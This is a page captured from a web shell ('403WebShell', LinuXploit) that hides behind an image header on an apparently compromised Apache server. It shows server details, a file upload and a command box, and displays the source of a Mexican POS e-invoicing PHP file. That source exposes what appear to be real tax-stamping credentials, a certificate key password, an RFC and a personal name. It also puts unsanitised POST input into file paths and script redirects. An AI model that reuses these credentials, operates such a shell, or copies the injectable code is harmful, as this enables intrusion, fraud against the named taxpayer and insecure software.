����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.137.159.3
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/Facturar-view.php
<?php

 

 // realizamos la conexión a la base de datos
  $user = 'root'; 
  $pass = ''; 
  $host = 'localhost'; 
  $db = 'pos36'; 
  $config = array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'UTF8'");
  try
  {
      $conn = new PDO("mysql:host=$host;dbname=$db;", $user, $pass, $config);
  }
  catch(PDOException $e)
  {
      echo $e -> getMessage();
  }
  
  // realizamos la consulta para obtener el mayor id insertado
  $sql = "SELECT MAX(sale_id) AS id FROM t_sale_detail";
  $query = $conn->prepare($sql);
  $query->execute();
  $row = $query->fetch();

  // guardamos el valor obtenido, en este caso el mayor id insertado en una tabla
  
	 $renglon=$row['id'];  
	 
		$sale1= $_POST['sale_id'];

// Se desactivan los mensajes de debug
//error_reporting(~(E_WARNING|E_NOTICE));

error_reporting(E_ALL);

// Se especifica la zona horaria
date_default_timezone_set('America/Mexico_City');

// Se incluye el SDK
require_once '../../../../sdk2/sdk2.php';
//C:\xampp\htdocs\pos36\pos11\core\app\view\archivo.php
// Se especifica la version de CFDi 3.3
$datos['version_cfdi'] = '3.3';

// Ruta del XML Timbrado
$datos['cfdi']='timbrados/cfdi_factura_'.$sale1.'.xml';

// Ruta del XML de Debug
$datos['xml_debug']='timbrados/sin_timbrar_factura_'.$sale1.'.xml';

//datos dinamicos del cliente  timbres http://149.56.7.134/panel/mt,12,0/ usuario:israelalvarado, contraseña:ver celular
$ArchCer= ConfigurationData::


// Credenciales de Timbrado
$datos['PAC']['usuario'] = 'GAOF830617NI0';
$datos['PAC']['pass'] = 'ferypau2008';
$datos['PAC']['produccion'] = 'SI';

// Rutas y clave de los CSD
$datos['conf']['cer'] = '../../../../sdk2/certificados/00001000000504003296.cer';
$datos['conf']['key'] = '../../../../sdk2/certificados/CSD_FACTURACION_GAOF830617NI0_20200519_134506.key';
$datos['conf']['pass'] = 'ferypau2008';

// Datos de la Factura
//valores de la venta totales

$sell = SellData::getByFactura($_POST['id']);
//obtenemos los datos de configuracion

$settingsRFC = ConfigurationData::getByIdRFC();
$settings2 = ConfigurationData::getById1();
$settingsEmisor = ConfigurationData::getByIdEmisor();
$settingsCalle = ConfigurationData::getByIdCalle();
$settingsInt = ConfigurationData::getByIdInt();
$settingsExt = ConfigurationData::getByIdExt();
$settingsColonia = ConfigurationData::getByIdColonia();
$settingsCity = ConfigurationData::getByIdCity();
$settingsCP = ConfigurationData::getByIdCp();	
$settingsCodigoSat = ConfigurationData::getByIdClaveSat();	
$settingsUnidadSat = ConfigurationData::getByIdUnidadSat();	
$settingsRegimenSat = ConfigurationData::getByIdRegimenSat();	


if(isset($renglon))
{
	//total de la venta
	
	
	
	$datos['factura']['condicionesDePago'] = 'CONDICIONEES';
	$datos['factura']['descuento'] = '0.00';
	$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
	$datos['factura']['folio'] = $_POST['sale_id'];
	$datos['factura']['forma_pago'] = '01';
	$datos['factura']['LugarExpedicion'] = $settingsCP->val;
	$datos['factura']['metodo_pago'] = 'PUE';
	$datos['factura']['moneda'] = 'MXN';
	$datos['factura']['serie'] = 'A';
	$datos['factura']['subtotal'] = $sell->total;
	$datos['factura']['tipocambio'] = 1;
	$datos['factura']['tipocomprobante'] = 'E';
	$datos['factura']['total'] = $sell->total*1.160000;
	$datos['factura']['RegimenFiscal'] = $settingsRegimenSat->val;

	// Datos del Emisor
	$datos['emisor']['rfc'] = 'GAOF830617NI0'; //RFC DE PRUEBA
	$datos['emisor']['nombre'] = 'FERNANDA GARAY';  // EMPRESA DE PRUEBA

	// Datos del Receptor
	$datos['receptor']['rfc'] = $_POST['rfc'];
	$datos['receptor']['nombre'] = $_POST['name_cte'];
	$datos['receptor']['UsoCFDI'] = $_POST['uso_cfdi'];
	$nombreCliente= $_POST['name_cte'];
	//******** Se agregan los conceptos

	$operations = OperationData::getByc($sale1); //buscamos los productos de la venta
	$i=0;
		foreach($operations as $operation){

		$datos['conceptos'][$i]['cantidad'] = $operation->qty;
		$datos['conceptos'][$i]['unidad'] = 'NA';
		$datos['conceptos'][$i]['ID'] = $operation->id_item;
		$datos['conceptos'][$i]['descripcion'] = $operation->item_name;
		$datos['conceptos'][$i]['valorunitario'] = $operation->price;
		$datos['conceptos'][$i]['importe'] = $operation->price*$operation->qty;
		$datos['conceptos'][$i]['ClaveProdServ'] = $settingsCodigoSat->val;
		$datos['conceptos'][$i]['ClaveUnidad'] = $settingsUnidadSat->val;

		$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $operation->price*$operation->qty;
		$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
		$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
		$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';

		$valor1 = number_format(($operation->price*$operation->qty)*0.160000,2);
		$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
		$impuesto = $impuesto + $valor1;
		echo "-------------------------------";
		echo $valor1;
		$i=$i+1;
		}
		
	// Se agregan los Impuestos
	$datos['impuestos']['translados'][0]['impuesto'] = '002';
	$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
	$datos['impuestos']['translados'][0]['importe'] = $impuesto;
	$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';

	$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;

	echo "<pre>";
	print_r($datos);
	echo "</pre>";
	
	// Se ejecuta el SDK
	$res = mf_genera_cfdi($datos);



	$codigo= $res['codigo_mf_numero'];
	$name_codigo= $res['codigo_mf_texto'];
	$uuid= $res['uuid'];
	$id=$_POST['id'];

	echo $codigo;
	///////////    MOSTRAR RESULTADOS DEL ARRAY $res   ///////////

	echo "<h1>Respuesta Generar XML y Timbrado</h1>";
	foreach ($res AS $variable => $valor) {
		$valor = htmlentities($valor);
		$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
		echo "<b>[$variable]=</b>$valor<hr>";
		
		print_r($res);
		

		echo $res['uuid'];
		
	}
	

	//************************************************************************************************************************************+
	//generar el pdf
	$datosHTML['RESPUESTA_UTF8'] = "SI";
	$datosHTML['PAC']['usuario'] = "GAOF830617NI0";
	$datosHTML['PAC']['pass'] = "ferypau2008";
	$datosHTML['PAC']['produccion'] = "SI";
	//MODULO MULTIFACTURAS : CONVIERTE UN XML CFDI A HTML
	$datosHTML['modulo']="cfdi2html";                                                //NOMBRE MODULO
	$datosHTML['rutaxml']=$datos['cfdi'];    //RUTA DEL XML CFDI
	$datosHTML['titulo']="FERNANDA GARAY";                                          //TITULO DE FACTURA
	$datosHTML['tipo']="FACTURA";                                                    //TIPO DE FACTURA VENTA,NOMINA,ARRENDAMIENTO, ETC
	$datosHTML['path_logo']="timbrados/logo.png";                          //RUTA DE LOGOTIPO DE FACTURA
	$datosHTML['notas']="Pago en una sola exhibicion";                                       //NOTA IMPRESA EN FACTURA
	$datosHTML['color_marco']="#013ADF";                                             //COLOR DEL MARCO DE LA FACTURA
	$datosHTML['color_marco_texto']="#FFFFFF";                                       //COLOR DEL TEXTO DEL MARCO DE LA FACTURA
	$datosHTML['color_texto']="#0174DF";                                             //COLOR DEL TEXTO EN GENERAL
	$datosHTML['fuente_texto']="monospace";                                          //FUENTE DEL TEXTO EN GENERAL
	   
	$res = mf_ejecuta_modulo($datosHTML);                                  //FUNCION QUE CARGA EL MODULO cfdi2html
	$HTML=$res['html'];                                     //HTML DEL XML           //RESPUESTA DE LA FUNCION CARGAR MODULO

	//////////////////////////////////////////////////////////////////////////////
	//CONVERTIR EL HTML DEL XML CFDI A PDF
	$datosPDF['PAC']['usuario'] = "GAOF830617NI0";
	$datosPDF['PAC']['pass'] = "ferypau2008";
	$datosPDF['PAC']['produccion'] = "SI";
	$datosPDF['modulo']="html2pdf";                                                   //NOMBRE MODULO
	$datosPDF['html']="$HTML";                                                        // HTML DE XML CFDI A CONVERTIR A PDF
	$datosPDF['archivo_html']="";                                                     // OPCION SI SE TIENE UN ARCHIVO .HTML       
	$datosPDF['archivo_pdf']="timbrados/cfdi_factura_".$sale1.".pdf";
	//$datosPDF['archivo_pdf']="RUTA DONDE SE CREARA EL PDF/nombrearhivo.pdf";          //RUTA DONDE SE GUARDARA EL PDF

	$res = mf_ejecuta_modulo($datosPDF);                                    //RESPUESTA DE LA FUNCION CARGAR MODULO  
	//$res = ___html2pdf($datosPDF);                                    //RESPUESTA DE LA FUNCION CARGAR MODULO
	/*
	echo "<pre>";
	print_r($res);
	echo "</pre>";
	*/
	//***************************************************************************************************************************************


					$name = $_POST['name']; 
					$rfc = $_POST['rfc']; 

	if( $codigo == 0)
	{
		echo "Factura generada!!!!!!!!";
		print_r($res);
		print "<script>window.location='index.php?view=addFact&uuid=$uuid&id=$id&rfc=$rfc&name=$nombreCliente';</script>";
	}else
	{
		echo "Error!!!!!!!!";
		print "<script>window.location='index.php?view=errFact&uuid=$codigo&name_codigo=$name_codigo&id=$id';</script>";
		echo $codigo; 
	}

}
else
{
	echo "Error tabla de facturas!!!";
}

	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit